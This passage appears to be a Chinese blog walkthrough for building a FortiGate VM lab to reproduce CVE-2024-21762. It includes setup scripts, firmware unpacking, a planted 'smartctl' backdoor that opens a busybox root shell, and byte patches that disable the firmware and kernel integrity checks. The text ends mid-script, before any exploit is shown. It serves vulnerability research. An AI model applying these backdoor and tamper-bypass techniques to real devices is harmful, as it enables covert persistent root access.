介质下载 可见大善人:Fortinet FortiOS
配置基础 可见:VMware虚拟机安装FortiGate永久试用版并配置强制门户
漏洞信息 CVE-2024-21762 是 FortiGate SSL VPN 里的一个越界写漏洞,可以一路做到远程代码执行。
CVSS v3 给了 9.8 ,机密性、完整性、可用性三项全中。
利用不需要有效账号,也不需要用户点任何东西。
受影响版本
FortiOS :
6.0.0 至 6.0.17(修复版本 6.0.18)
6.2.0 至 6.2.15(修复版本 6.2.16)
6.4.0 至 6.4.14(修复版本 6.4.15)
7.0.0 至 7.0.13(修复版本 7.0.14)
7.2.0 至 7.2.6(修复版本 7.2.7)
7.4.0 至 7.4.2(修复版本 7.4.3)
FortiProxy :
1.2 全版本(需迁移至更新版本)
2.0.0 至 2.0.13(修复版本 2.0.14)
7.0.0 至 7.0.14(修复版本 7.0.15)
7.2.0 至 7.2.8(修复版本 7.2.9)
本次靶机固件:FGT_VM64_KVM-v7.4.0.F-build2360。
内核 4.19.13,2023 年 5 月编的。
/bin/sslvpnd、/bin/httpsd、/bin/cmdbsvr 这些全都不是独立程序,是一堆指向同一个文件的符号链接。
真正干活的是 /bin/init,73299976 字节,按 argv[0] 分发。
check:
1 2 3 4 5 6 7 8 9 10 11 12 $ file bin/init bin/init: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /fortidev/lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a798de13f43b87d79af460f1f9fc08f5fc101ace, for GNU/Linux 3.2.0, stripped $ readelf -h bin/init | grep Type Type: EXEC (Executable file) $ readelf -lW bin/init | grep -E 'GNU_STACK|GNU_RELRO' GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 GNU_RELRO 0x3f99868 0x000000000439a868 0x000000000439a868 0x03d798 0x03d798 R 0x1
64 位,非 PIE,imagebase 0x400000。
NX 开、Canary 开(__stack_chk_fail 在导入表里)、RELRO 只做了一半 —— .got.plt 在 0x43d8000,刚好落在 RELRO 段外面,还能写。
漏洞环境准备 这一节是整个复现里最磨人的部分。
目录与脚本布局 工作根目录任意,下文统一用 fgt/ 代指,所有命令都在这个根目录下执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 fgt/ ├── fortios.qcow2 工作镜像(最后要写它) ├── fortios.qcow2.bak 原始镜像(只读,抠原始文件用) ├── scripts/ │ ├── mount.sh 挂载 p1/p2 │ ├── umount.sh 卸载 │ ├── rebuild.sh 重打包并写回镜像 │ └── start.sh 前台启动 QEMU,串口直通终端 ├── mnt/p1, mnt/p2 挂载点 ├── rootfs_file/ 解包出来的根文件系统 ├── artifacts/ │ ├── patch_equal.py patch flatkc │ ├── patch_init_full.py patch /bin/init │ ├── orig/ 从 .bak 取的原始 flatkc / rootfs.gz │ ├── flatkc.patched 打好补丁的内核 │ └── init.full.patched 打好补丁的 init └── build/ ├── smartctl.c 后门源码 ├── smartctl 编译产物 └── bin.tar.xz.orig 塞好程序但 init 未换的包
启动环境 下载好 fortios.qcow2 可以直接启动做初始化。
建议把管理 IP 配成 192.168.100.250,后面所有脚本都按这个地址写。
还要自己放行要用的端口,把 sslvpnd 和 smap 这两个服务启起来。
scripts/start.sh 只有两个用法:
1 2 ./scripts/start.sh --accel kvm --net tap ./scripts/start.sh --cleanup
scripts/start.sh 全文:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 #!/bin/sh set -ucd "$(dirname "$0 " ) /.." IMG=${IMG:-fortios.qcow2} LOG=${LOG:-/tmp/fgt.log} MEM=${MEM:-1500} SMP=${SMP:-2} BR=${BR:-br0} TAP=${TAP:-tap0} SUBNET=${SUBNET:-192.168.100} GW=${GW:-$SUBNET .1} DHCP_START=${DHCP_START:-$SUBNET .100} DHCP_END=${DHCP_END:-$SUBNET .200} case "$IMG " in *" " *) echo "[!] IMG 路径不能含空格: $IMG " >&2; exit 2 ;;esac DO_CLEANUP=0 ACCEL= NET=while [ $# -gt 0 ]; do case "$1 " in --cleanup) DO_CLEANUP=1 ;; --accel) shift ; ACCEL=${1:-} ;; --net) shift ; NET=${1:-} ;; *) echo "[!] 未知参数: $1 " >&2 echo " 用法: ./scripts/start.sh --accel kvm --net tap" >&2 echo " ./scripts/start.sh --cleanup" >&2 exit 2 ;; esac shift done if [ "$DO_CLEANUP " = 0 ]; then [ "$ACCEL " = kvm ] || { echo "[!] 只支持 --accel kvm" >&2; exit 2; } [ "$NET " = tap ] || { echo "[!] 只支持 --net tap" >&2; exit 2; }fi wan_if () { ip route show default 2>/dev/null | awk 'NR==1{print $5}' ; }net_dhcp_stop () { [ -f /tmp/fgt-dnsmasq.pid ] || return 0 sudo kill "$(cat /tmp/fgt-dnsmasq.pid) " 2>/dev/null sudo rm -f /tmp/fgt-dnsmasq.pid }net_setup () { WAN=$(wan_if) echo "[*] 配置 tap 网络: $BR ($GW /24) + $TAP ,NAT 出口 ${WAN:-无} " if ! ip link show "$BR " >/dev/null 2>&1; then sudo ip link add "$BR " type bridge || return 1 fi sudo ip link set "$BR " up if ! ip -4 addr show "$BR " | grep -q "inet $GW /" ; then sudo ip addr add "$GW /24" dev "$BR " || return 1 fi if ! ip link show "$TAP " >/dev/null 2>&1; then sudo ip tuntap add dev "$TAP " mode tap user "$(id -un) " || return 1 fi sudo ip link set "$TAP " master "$BR " sudo ip link set "$TAP " up sudo sysctl -qw net.ipv4.ip_forward=1 if [ -n "${WAN:-} " ]; then sudo iptables -t nat -C POSTROUTING -s "$SUBNET .0/24" -o "$WAN " -j MASQUERADE 2>/dev/null \ || sudo iptables -t nat -A POSTROUTING -s "$SUBNET .0/24" -o "$WAN " -j MASQUERADE sudo iptables -C FORWARD -i "$BR " -o "$WAN " -j ACCEPT 2>/dev/null \ || sudo iptables -A FORWARD -i "$BR " -o "$WAN " -j ACCEPT sudo iptables -C FORWARD -i "$WAN " -o "$BR " -m state --state RELATED,ESTABLISHED -j ACCEPT 2>/dev/null \ || sudo iptables -A FORWARD -i "$WAN " -o "$BR " -m state --state RELATED,ESTABLISHED -j ACCEPT else echo "[!] 找不到默认路由,跳过 NAT(guest 只能访问宿主机)" fi if command -v dnsmasq >/dev/null 2>&1; then net_dhcp_stop sudo dnsmasq --conf-file=/dev/null \ --port=0 --interface="$BR " --bind-interfaces \ --dhcp-range="$DHCP_START ,$DHCP_END ,12h" \ --dhcp-option=3,"$GW " --dhcp-option=6,"$GW " \ --pid-file=/tmp/fgt-dnsmasq.pid \ --dhcp-leasefile=/tmp/fgt-dnsmasq.leases echo "[*] dnsmasq DHCP: $DHCP_START -$DHCP_END ,网关 $GW " fi }net_cleanup () { net_dhcp_stop WAN=$(wan_if) if [ -n "${WAN:-} " ]; then sudo iptables -t nat -D POSTROUTING -s "$SUBNET .0/24" -o "$WAN " -j MASQUERADE 2>/dev/null sudo iptables -D FORWARD -i "$BR " -o "$WAN " -j ACCEPT 2>/dev/null sudo iptables -D FORWARD -i "$WAN " -o "$BR " -m state --state RELATED,ESTABLISHED -j ACCEPT 2>/dev/null fi sudo ip link del "$TAP " 2>/dev/null sudo ip link del "$BR " 2>/dev/null echo "[*] 已清理 $TAP / $BR / NAT 规则" }qemu_pids () { ps -eo pid,comm | awk '$2 ~ /^qemu-system-x86/ {print $1}' ; }if [ "$DO_CLEANUP " = 1 ]; then for p in $(qemu_pids); do sudo kill "$p " 2>/dev/null; done sleep 1 for p in $(qemu_pids); do sudo kill -9 "$p " 2>/dev/null; done net_cleanup exit 0fi if ! sudo test -r /dev/kvm; then echo "[!] /dev/kvm 不可访问" >&2 echo " 检查: ls -l /dev/kvm ; sudo usermod -aG kvm \$USER ; 宿主是否开了嵌套虚拟化" >&2 exit 1fi net_setup || { echo "[!] tap 网络配置失败" >&2; exit 1; }trap 'net_cleanup' EXIT INT TERMfor p in $(qemu_pids); do sudo kill -9 "$p " 2>/dev/null; done sleep 1echo "[*] 启动 $IMG (kvm, -cpu host, -smp $SMP , tap $TAP )" echo "[*] 串口直通本终端,到 login: 敲 admin 回车登录" echo "[*] 日志同时写入 $LOG (另开终端 tail -f $LOG 可看)" echo sudo qemu-system-x86_64 \ -accel kvm -cpu host -m "$MEM " -smp "$SMP " -machine q35 \ -drive file="$IMG " ,if =virtio,format=qcow2 \ -netdev tap,id =net0,ifname="$TAP " ,script=no,downscript=no \ -device virtio-net-pci,netdev=net0 \ -nographic -no-reboot 2>&1 | tee "$LOG "
跑起来是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 [*] 配置 tap 网络: br0 (192.168.100.1/24) + tap0,NAT 出口 enp0s3 [*] dnsmasq DHCP: 192.168.100.100-192.168.100.200,网关 192.168.100.1 [*] 启动 fortios.qcow2 (kvm, -cpu host, -smp 2, tap tap0) [*] 串口直通本终端,到 login: 敲 admin 回车登录 [*] 日志同时写入 /tmp/fgt.log(另开终端 tail -f /tmp/fgt.log 可看) SeaBIOS (version 1.17.0-debian-1.17.0-1ubuntu1) Booting from Hard Disk... SYSLINUX 6.04 EDD 6.04-pre1 Copyright (C) 1994-2015 H. Peter Anvin et al Loading flatkc... ok Loading /rootfs.gz...ok System is starting... ... FGVM324FN00KXRQJ login:
--accel kvm --net tap 里每个值都只有一种选择,写出来是为了把行为钉死:KVM 加速 + tap 网桥。
--cleanup 是它的反操作:杀 qemu、删 tap/网桥、摘 NAT 规则。
用完收尾:
1 ./scripts/start.sh --cleanup
工作目录初始化 先建目录骨架,后面每一步都往这几个位置写:
1 mkdir -p mnt/p1 mnt/p2 artifacts build
再装 zopfli —— 后面重压内核必须用它,系统 python 里没有:
1 2 3 4 5 if [ ! -x /tmp/zv/bin/python3 ]; then python3 -m venv /tmp/zv /tmp/zv/bin/pip install -q zopflifi /tmp/zv/bin/python3 -c 'from zopfli import gzip; print("[+] zopfli ok")'
依赖也得确认在位:
1 2 3 command -v qemu-nbd command -v cpiocommand -v xz
镜像要分清,这一节全程都在用两个不同的文件:
文件
用途
什么时候用
fortios.qcow2.bak
原始 未修改镜像
取原始 flatkc / rootfs.gz / trailer
fortios.qcow2
工作镜像
只在 rebuild.sh 回写时改它
两个外部工具需要自行准备:
busybox :用发行版的包管理器装就行(apt install busybox-static),要静态链接 的那种。
1 2 3 ls -l /usr/bin/busybox file /usr/bin/busybox | grep -o 'statically linked'
gdbserver :多数发行版的包管理器里没有,得自己备。要求静态链接的 x86-64 版:
1 2 3 gcc -static -O2 -o build/gdbserver gdbserver.c
放 build/gdbserver,后面塞进固件时从这里取。
1 file build/gdbserver | grep -o 'statically linked'
挂载磁盘 qcow2 是写时复制格式,mount -o loop,offset= 直接读出来是垃圾。
得先 qemu-nbd 翻译成块设备。
scripts/mount.sh:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #!/bin/sh set -ucd "$(dirname "$0 " ) /.." IMG=${IMG:-fortios.qcow2} RO="" [ "${1:-} " = "--ro" ] && RO="-o ro" mkdir -p mnt/p1 mnt/p2for p in $(ps -eo pid,comm | awk '$2 ~ /^qemu-system-x86/ {print $1}' ); do kill -9 "$p " 2>/dev/nulldone sudo umount mnt/p1 mnt/p2 2>/dev/nullsudo qemu-nbd --disconnect /dev/nbd0 2>/dev/nullsleep 1sudo modprobe nbd max_part=8 sudo qemu-nbd --connect=/dev/nbd0 "$IMG " || exit 1sleep 2 lsblk /dev/nbd0sudo mount $RO /dev/nbd0p1 mnt/p1 || exit 1sudo mount $RO /dev/nbd0p2 mnt/p2 || exit 1echo "[*] p1 (flatkc / rootfs.gz / extlinux) -> mnt/p1" echo "[*] p2 (data) -> mnt/p2"
scripts/umount.sh:
1 2 3 4 5 6 7 #!/bin/sh set -ucd "$(dirname "$0 " ) /.." sudo umount mnt/p1 mnt/p2 2>/dev/nullsudo qemu-nbd --disconnect /dev/nbd0 2>/dev/nullecho "[*] 已卸载"
max_part=8 这条不加,lsblk 只能看到一个 nbd0,然后就对着空白挂载点怀疑人生。
挂上之后的真实分区表:
1 2 3 4 5 6 7 8 Disk /dev/nbd0: 2 GiB, 2147483648 bytes, 4194304 sectors Disklabel type: dos Disk identifier: 0x4d06e253 Device Boot Start End Sectors Size Id Type /dev/nbd0p1 * 2048 526335 524288 256M 83 Linux ← 内核 + initrd + 引导器 /dev/nbd0p2 526336 4063231 3536896 1.7G 83 Linux ← /data 数据分区 /dev/nbd0p3 4063232 4194303 131072 64M ef EFI
只有 p1 跟启动有关,p2 是运行期数据(配置、日志、crash、geoip),p3 是 EFI 占位。
p1 里躺着这些东西:
1 2 3 4 5 6 .db 858 B 完整性清单(明文 JSON) .db.x 13735 B .db 的 PKCS#7 签名 flatkc 7346368 B ★ 内核 rootfs.gz 64691870 B ★ initrd(gzip + 尾部 256B) datafs.tar.gz 15466660 B /data 初始内容 extlinux.conf 166 B 引导参数,ramdisk_size 在这里
取出文件系统 挂上之后能看到 p1,但真正的根文件系统在 rootfs.gz 里,得先解出来才能进去翻。
它是 gzip + 尾部 256 字节 trailer,直接 tar 没用,得走 cpio。
解开就三步:
1 2 3 4 5 6 7 8 9 10 gunzip -c mnt/p1/rootfs.gz > rootfs_file.cpio || [ $? -eq 2 ]mkdir -p rootfs_file ( cd rootfs_file && cpio -idm < ../rootfs_file.cpio )du -sh rootfs_file
期望输出:
实测 cpio 是 105154864 字节,解完 101 MB。
gunzip 那句的 || [ $? -eq 2 ] 不是摆设。
尾部 trailer 不是 gzip 数据,gunzip 解完会提示 trailing garbage ignored 并返回 2,但输出文件是完整的 。
在 set -e 的脚本里不加这个放行,会停在这儿、后面全不跑,而 cpio 明明已经生成好了 —— 特别容易误判成「解包失败」。
跑完 rootfs_file/ 就成型了,mnt/p1 这时候还挂着 ,接着用。
后面不再需要它的时候再 ./scripts/umount.sh(「放入程序」那节会自己重挂 .bak,所以那时挂不挂都行)。
解完的顶层长这样:
1 2 3 4 5 6 7 8 9 10 11 12 rootfs_file/ ├── init -> /sbin/init ← 符号链接,绝对路径,等会儿要用 ├── sbin/init 23144 引导用的真正 init(不是我们补的那个) ├── bin.tar.xz 29463024 ★ /bin 整个目录被打包在这里 ├── migadmin.tar.xz 12558028 ├── node-scripts.tar.xz 484160 ├── usr.tar.xz 148452 ├── etc -> data/etc ├── lib64 -> /lib ├── fortidev -> / ├── lib/ usr/ dev/ proc/ sys/ tmp/ └── data/ data2/ var/ boot/
需要注意的是,/bin 不是目录,而是一个 bin.tar.xz。
运行期的 /bin/init 在包里,不在 cpio 顶层。
所以想看 bin/init 必须再剥一层。
但别在 rootfs_file/ 里面剥 —— 那个目录是后面 cpio 打包的源,在这里解出 bin/ 会被重复打进去:
1 2 解之前:1985 个条目,204 MB 解之后:2185 个条目,315 MB ← bin/ 被额外塞进去了
正确做法是扔到临时目录看:
1 2 3 mkdir -p /tmp/rf && cd /tmp/rf tar -xf "$OLDPWD /rootfs_file/bin.tar.xz" ls bin/init
剥开之后才有得看:
1 2 3 4 5 $ file bin/init bin/init: ELF 64-bit LSB executable, x86-64, ... stripped $ tar -tf rootfs_file/bin.tar.xz | wc -l 198
198 个条目里,bin/sslvpnd、bin/httpsd、bin/cmdbsvr 这些全是 -> /bin/init 的符号链接。
真身只有一个,按 argv[0] 分发。
这就是为什么逆向一个文件等于逆向一整套守护进程。
lib/ 里还有几个要留意的:
1 2 lib/libjemalloc.so.2 539264 堆分配器,堆喷全靠它 lib/libc.so.6 有 /bin/sh 调用链
拿到 bin/init 就能丢进 IDA 了,这一步先到此为止。
放入程序 文件系统拿出来了,改之前得先想清楚要塞什么进去、放哪儿。
要动的东西一共四个:
放哪
放什么
为什么
bin/busybox
静态 busybox
后门和 sh 的落点
bin/gdbserver
静态 gdbserver
--attach 远程调试
bin/sh
改指向 -> /bin/busybox
让 system() 能跑
bin/smartctl
换成 exec busybox 的后门
从 CLI 落到 root shell 的入口
smartctl 那个后门,先写源码到 build/smartctl.c:
1 2 3 4 5 6 7 #include <stddef.h> #include <unistd.h> void main () { char *args[] = {"/bin/busybox" , "sh" , NULL }; execve("/bin/busybox" , args, NULL ); }
编译走静态链接(file 显示 statically linked, not stripped):
1 2 gcc -static -O2 -o build/smartctl build/smartctl.cchmod 755 build/smartctl
这一步必须在塞程序之前 做完,后面要 cp build/smartctl,文件不在会直接失败。
产物体积随 gcc 版本浮动,800 KB 出头就对了:
四个东西准备好,下列命令塞进去重打包。
先存一份原始内核,patch 内核那步要用:
1 2 3 4 5 6 7 8 9 10 11 mkdir -p artifacts/origsudo umount mnt/p1 2>/dev/null || true sudo qemu-nbd --disconnect /dev/nbd0 2>/dev/null || true sudo modprobe nbd max_part=8sudo qemu-nbd --connect=/dev/nbd0 fortios.qcow2.baksleep 2sudo mount -o ro /dev/nbd0p1 mnt/p1cp mnt/p1/rootfs.gz artifacts/orig/rootfs.gzcp mnt/p1/flatkc artifacts/orig/flatkcsudo umount mnt/p1 sudo qemu-nbd --disconnect /dev/nbd0
然后从原始 rootfs.gz 里抠出 bin.tar.xz 并塞程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 WORK=$(mktemp -d /tmp/fgtbin.XXXXXX) gunzip -c artifacts/orig/rootfs.gz > "$WORK /rootfs.cpio" || [ $? -eq 2 ] ( cd "$WORK " && cpio -id bin.tar.xz < rootfs.cpio 2>/dev/null )mkdir -p "$WORK /tree" tar -xf "$WORK /bin.tar.xz" -C "$WORK /tree" cp /usr/bin/busybox "$WORK /tree/bin/busybox" cp build/gdbserver "$WORK /tree/bin/gdbserver" chmod 755 "$WORK /tree/bin/busybox" "$WORK /tree/bin/gdbserver" ln -sf /bin/busybox "$WORK /tree/bin/sh" cp build/smartctl "$WORK /tree/bin/smartctl" chmod 755 "$WORK /tree/bin/smartctl" ( cd "$WORK /tree" && tar -cf "$WORK /bin.tar" bin ) xz -e -T0 "$WORK /bin.tar" mkdir -p buildcp "$WORK /bin.tar.xz" build/bin.tar.xz.origrm -rf "$WORK " tar -tf build/bin.tar.xz.orig | wc -l
期望最后一行输出 200。
注意 bin.tar.xz 只能从 .bak 里抠,不能直接用 rootfs_file/bin.tar.xz —— 那份可能已经改过了。
打包那条命令有一个字母的讲究。
tar -cf bin.tar bin 出来的路径是 bin/init,200 个条目,和原始包一致。
tar -cf bin.tar . 出来的路径是 ./bin/init,还多一个 ./ 顶层条目,变成 201 个:
1 2 tar -cf bin.tar . → ./ ./bin/ ./bin/init ... 201 条 tar -cf bin.tar bin → bin/ bin/init ... 200 条
两者都能用,但混着来会让你后面 tar -xOf 取文件时前缀对不上(见下一小节)。
实测算下来,这个包的变化是这样:
1 2 3 4 5 6 7 8 9 原始 bin.tar.xz 29463024 字节,198 个条目 bin/sh -> /bin/sysctl (276160 字节的命令分发器) bin/smartctl 563544 (真·磁盘工具) 塞完之后 200 个条目 bin/busybox 2190672 新增 bin/gdbserver 2322296 新增 bin/sh -> /bin/busybox 改指向 bin/smartctl 816xxx 被换成后门
build/bin.tar.xz.orig 里的 “orig” 只表示「init 还没换」。
它已经含了 busybox / gdbserver / 改好的 sh 和替换过的 smartctl,下一步 patch init 就从这上面叠。
/bin/init 修补 程序都放进去了,接着改会被 exec 的那个二进制。
先把它捞出来。
直接从 build/bin.tar.xz.orig 里取,里面的 init 还是原始那份:
1 2 mkdir -p /tmp/vv/bin tar -xOf build/bin.tar.xz.orig bin/init > /tmp/vv/bin/init
取完核指纹:
1 2 md5sum /tmp/vv/bin/init
先搞清楚要改哪儿。
/bin/init 自己带一层完整性校验,main 开头第一件事就是它,这里会校验文件系统末尾的 256 字节签名:
1 2 3 4 5 4553a4 call sub_452D80 ; 完整性校验(fork 子进程做实际比较) 4553a9 test eax, eax 4553ab js loc_4556C2 ; 负数 = 失败 ... 4556c2 call doHalt ; 关机
校验逻辑很朴素:返回负数就当失败,失败就往 doHalt 走,关机。
所以两处补丁,各 3 字节:
VA
文件偏移
原字节
补丁
作用
0x452D80
0x52D80
55 48 89 e5 41 54 48 83 EC 08 E8 71
31 c0 c3
校验函数直接返回 0
0x452BB0
0x52BB0
55 BE A5 05 00 00
31 c0 c3
doHalt 直接返回(兜底)
两个都是把函数开头换成 xor eax,eax; ret,让它什么都不干、直接返回成功。
doHalt 那条是兜底:万一校验还是返回了负数,也不至于真关机。
文件偏移不是 VA,两者差 0x400000,也就是 imagebase:
1 2 3 4 LOAD off=0x0 va=0x400000 fsz=0x3cd38 va-off=0x400000 LOAD off=0x3d000 va=0x43d000 fsz=0x2949075 va-off=0x400000 LOAD off=0x2987000 va=0x2d87000 fsz=0x1612168 va-off=0x400000 LOAD off=0x3f99868 va=0x439a868 fsz=0x64d5e8 va-off=0x401000 ← 这条不齐
前三条是 0x400000,第四条(RELRO)是 0x401000,多出来的一页是对齐补的。
好在两个补丁地址都落在第二条里:0x452D80 - 0x400000 = 0x52D80,0x452BB0 - 0x400000 = 0x52BB0,和上表一致。
脚本还是老老实实走 PT_LOAD 查表,不依赖这个巧合 —— 万一换个版本布局变了,查表还能对。
artifacts/patch_init_full.py 全文:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 """patch /bin/init 的完整性校验, 让 "System file integrity check failed" 不再触发。 两条独立补丁 ------------ 1) sub_452D80 @ 0x452D80 -> xor eax,eax; ret 完整性校验函数本身。它 fork 子进程做实际校验,返回负数表示失败。 直接返回 0 即"校验通过"。 调用点: 0x4553a4 call sub_452D80 / 0x4553ab js 0x4556c2 -> do_halt 2) doHalt @ 0x452BB0 -> xor eax,eax; ret 关机函数。即使校验返回负数,也不会真的关机(兜底) 用法: python3 artifacts/patch_init_full.py <in_init> <out_init> """ import structimport sys PATCH_SUB452D80 = (0x452D80 , bytes .fromhex("554889e541544883ec08e871" ), bytes .fromhex("31c0c3" )) PATCH_DOHALT = (0x452BB0 , bytes .fromhex("55bea5050000" ), bytes .fromhex("31c0c3" ))def load_segments (d ): """读出所有 PT_LOAD 的 (file_off, vaddr, filesz)""" e_phoff = struct.unpack_from("<Q" , d, 0x20 )[0 ] e_phentsize = struct.unpack_from("<H" , d, 0x36 )[0 ] e_phnum = struct.unpack_from("<H" , d, 0x38 )[0 ] segs = [] for i in range (e_phnum): o = e_phoff + i * e_phentsize if struct.unpack_from("<I" , d, o)[0 ] != 1 : continue off, va, _p, fsz, _m, _a = struct.unpack_from("<QQQQQQ" , d, o + 8 ) segs.append((off, va, fsz)) return segsdef va2off (segs, va ): for off, v, fsz in segs: if v <= va < v + fsz: return off + (va - v) return None def main (): if len (sys.argv) != 3 : print (__doc__) return 2 src, dst = sys.argv[1 ], sys.argv[2 ] d = bytearray (open (src, "rb" ).read()) segs = load_segments(d) print (f"[*] {src} ({len (d)} bytes)" ) ok = True for name, (va, expect, patch) in ( ("sub_452D80 (integrity check)" , PATCH_SUB452D80), ("doHalt" , PATCH_DOHALT), ): off = va2off(segs, va) if off is None : print (f"[!] {name} : VA {hex (va)} 不在任何 LOAD 段" ) ok = False continue cur = bytes (d[off:off + len (expect)]) if cur == patch + expect[len (patch):]: print (f"[=] {name} @{hex (off)} : 已是补丁状态" ) continue if cur != expect: print (f"[!] {name} @{hex (off)} : 字节不匹配 {cur.hex ()} != {expect.hex ()} " ) ok = False continue d[off:off + len (patch)] = patch print (f"[+] {name} @{hex (off)} : {expect.hex ()} -> {patch.hex ()} (xor eax,eax; ret)" ) if not ok: print ("[!] 有补丁未应用, 仍写出以便检查" ) open (dst, "wb" ).write(bytes (d)) print (f"[+] wrote {dst} " ) return 0 if ok else 1 if __name__ == "__main__" : sys.exit(main())
跑法(在根目录下):
1 python3 artifacts/patch_init_full.py /tmp/vv/bin/init artifacts/init.full.patched
输出应该是两行 [+]:
1 2 3 4 [*] /tmp/vv/bin/init (73299976 bytes) [+] sub_452D80 (integrity check) @0x52d80: 554889e541544883ec08e871 -> 31c0c3 (xor eax,eax; ret) [+] doHalt @0x52bb0: 55bea5050000 -> 31c0c3 (xor eax,eax; ret) [+] wrote artifacts/init.full.patched
看到 [=] 已是补丁状态 就说明喂进去的是改过的文件,回去重新抠原始那份。
逐字节对比原版和补丁版,全文件只差这 6 个字节:
1 2 3 4 5 6 7 8 9 same_len True 73299976 73299976 diff_bytes 6 offsets ['0x52bb0', '0x52bb1', '0x52bb2', '0x52d80', '0x52d81', '0x52d82'] 0x52bb0: 55 -> 31 ; doHalt 0x52bb1: be -> c0 0x52bb2: a5 -> c3 0x52d80: 55 -> 31 ; sub_452D80 0x52d81: 48 -> c0 0x52d82: 89 -> c3
整个 73 MB 的文件,跟原版只差 6 个字节。
长度一点没动,ELF 布局一点没动。
这是最舒服的补丁形态。
补丁版 md5 是 6b2f2a9e39b95fc898dd75a316a66f07。
产物 artifacts/init.full.patched 先放着,等 rootfs 重打包那一步再盖进 bin.tar.xz。
内核修补 /bin/init 改完了,但内核还不让过。
启动链是这样的:引导器 → flatkc(内核)→ 校验 rootfs.gz 的 trailer → 解包 initramfs → exec /sbin/init → /bin/init。
/bin/init 这层我们自己解决了,可它上面还有一层:内核在解包 initrd 前会调 fgt_verify_initrd 比对 .db 里的 SHA512。
我们改了 rootfs.gz,哈希必然对不上,于是内核直接 panic。
这一层绕不过去,只能改内核本身。
flatkc 不是标准 bzImage,头部三个字段自己算。
拿原镜像实测的解析结果:
1 2 3 4 5 6 7 8 9 file = 7346368 (0x7018c0) setup_sects-1 = 0x1E → setup_len = 31 × 512 = 0x3E00 payload_offset = 0x3B4 payload_length = 0x6D6926 ⇒ gzip 起点 = 0x3E00 + 0x3B4 = 0x41B4 ⇒ gzip 结束 = 0x41B4 + 0x6D6926 = 0x6DAADA ⇒ 尾部 stub = 7346368 - 0x6DAADA = 159206 B ⇒ vmlinux = 27310360 B,加载基址 0xFFFFFFFF7FE00000
校验函数在 0xFFFFFFFF8170C3C9,fgt_verify_initrd,原字节 55 48 89 e5 41 57 41 56。
改成 31 c0 c3,xor eax,eax; ret,返回 0 就算校验通过。
改字节不难,难的是长度必须一模一样 。
尾部那 159206 字节是 Fortinet 自研解压 stub,把三个量写死在指令立即数里,我在镜像上按字节核过:
1 2 3 6dab05 48 8d 15 a8 96 92 ff lea -0x6d6958(%rip),%rdx # disp 校验 → 0x41b4 6dab0c b9 26 69 6d 00 mov $0x6d6926,%ecx # payload_len 6dab14 49 c7 c1 18 b9 a0 01 mov $0x1a0b918,%r9 # 解压后大小
lea 的位移和 payload_len 是绑死的,关系是 disp = -(payload_len + 0x32)。
三者互相咬死,动一个就三重故障,而且是静默的 —— QEMU 直接复位,串口一个字符都没有,连 panic 都不打。
所以只能等长填充 :重压缩后填 0 补回原长度,所有硬编码常量和文件偏移统统不用动。
问题来了,改完再压,压不回原大小:
1 2 3 4 5 原 payload_len = 0x6D6926 = 7170342 B zlib -9 = 7171236 → 大 894 字节,填充都做不到 zlib -6 = 7189688 → 大 19346 字节 zopfli → 小于原版,可以填 0 补回原长
原厂用的压缩率比 zlib -9 还高。
只有 zopfli 这种穷举式压缩能压到原长以下,这是本流程必须装 zopfli 的硬理由。
前面「工作目录初始化」已经装好了,确认一下:
1 /tmp/zv/bin/python3 -c 'from zopfli import gzip; print("zopfli ok")'
注意后面跑脚本必须用 /tmp/zv/bin/python3,不能用系统 python3。
系统的没装 zopfli,直接 python3 artifacts/patch_equal.py 会停在导入那行:
1 2 3 File "artifacts/patch_equal.py", line 24, in <module> from zopfli import gzip as zopfli_gzip ModuleNotFoundError: No module named 'zopfli'
inflate 在 BFINAL 块结束就返回,尾部填充被完全忽略,所以填充合法。
artifacts/patch_equal.py 全文:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 """给 FortiGate flatkc 打补丁(绕过 fgt_verify_initrd),且保持文件长度不变。 用法: /tmp/zv/bin/python3 artifacts/patch_equal.py <in_flatkc> <out_flatkc> (必须用装了 zopfli 的那个 python) 为什么必须等长 -------------- flatkc 在 gzip payload 之后紧跟一段自研解压 stub,其中把 payload 长度写死在 指令立即数里: lea -0x6d6958(%rip), %rdx ; rdx = gzip 起点, disp = -(payload_len + 0x32) mov $0x6d6926, %ecx ; ecx = payload_len mov $0x1a0b918, %r9 ; r9 = 解压后 vmlinux 大小 改其中一个而不同步另外两个,stub 就用错误长度 inflate —— 表现为静默三重故障 (QEMU 直接复位,串口无任何输出,无 panic)。 最稳的做法:重压缩后用 0 填充回原始长度。inflate 在 BFINAL 块结束即返回, 尾部填充被忽略;于是所有硬编码常量无需改动,文件偏移也完全不变。 """ import structimport sysimport zlibfrom zopfli import gzip as zopfli_gzip VMLINUX_BASE = 0xFFFFFFFF7FE00000 VERIFY_VA = 